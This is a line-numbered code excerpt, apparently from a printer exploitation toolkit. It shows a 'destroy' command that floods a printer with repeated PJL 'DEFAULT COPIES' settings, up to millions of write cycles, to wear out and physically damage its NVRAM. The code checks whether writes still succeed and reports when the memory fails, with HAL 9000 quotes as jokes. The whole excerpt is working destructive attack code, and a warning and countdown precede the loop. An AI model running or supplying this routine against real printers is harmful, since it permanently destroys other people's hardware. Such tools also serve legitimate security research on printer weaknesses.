Cause physical damage to printer's NVRAM.
(self, arg)
| 635 | |
| 636 | # ------------------------[ destroy ]--------------------------------- |
| 637 | def do_destroy(self, arg): |
| 638 | "Cause physical damage to printer's NVRAM." |
| 639 | output().warning("Warning: This command tries to cause physical damage to the") |
| 640 | output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.") |
| 641 | if output().countdown("Starting NVRAM write cycle loop in...", 10, self): |
| 642 | self.chitchat( |
| 643 | "Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?" |
| 644 | ) |
| 645 | date = conv().now() # timestamp the experiment started |
| 646 | steps = 100 # number of pjl commands to send at once |
| 647 | chunk = [ |
| 648 | "@PJL DEFAULT COPIES=" + str(n % (steps - 2)) for n in range(2, steps) |
| 649 | ] |
| 650 | for count in range(0, 10000000): |
| 651 | # test if we can still write to nvram |
| 652 | if count % 10 == 0: |
| 653 | self.do_set("COPIES=42" + arg, False) |
| 654 | copies = self.cmd("@PJL DINQUIRE COPIES") or "?" |
| 655 | if not copies or "?" in copies: |
| 656 | output().chitchat("I'm sorry Dave, I'm afraid I can't do that.") |
| 657 | if count > 0: |
| 658 | output().chitchat("Device crashed?") |
| 659 | return |
| 660 | elif not "42" in copies: |
| 661 | self.chitchat( |
| 662 | "\rI'm afraid. I'm afraid, Dave. Dave, my mind is going..." |
| 663 | ) |
| 664 | dead = conv().elapsed(conv().now() - date) |
| 665 | print( |
| 666 | ( |
| 667 | "NVRAM died after " |
| 668 | + str(count * steps) |
| 669 | + " cycles, " |
| 670 | + dead |
| 671 | ) |
| 672 | ) |
| 673 | return |
| 674 | # force writing to nvram using by setting a variable many times |
| 675 | self.chitchat("\rNVRAM write cycles: " + |
| 676 | str(count * steps), "") |
| 677 | self.cmd(c.EOL.join(chunk) + c.EOL + "@PJL INFO ID") |
| 678 | print() # echo newline if we get this far |
| 679 | |
| 680 | # ------------------------[ hold ]------------------------------------ |
| 681 | def do_hold(self, arg): |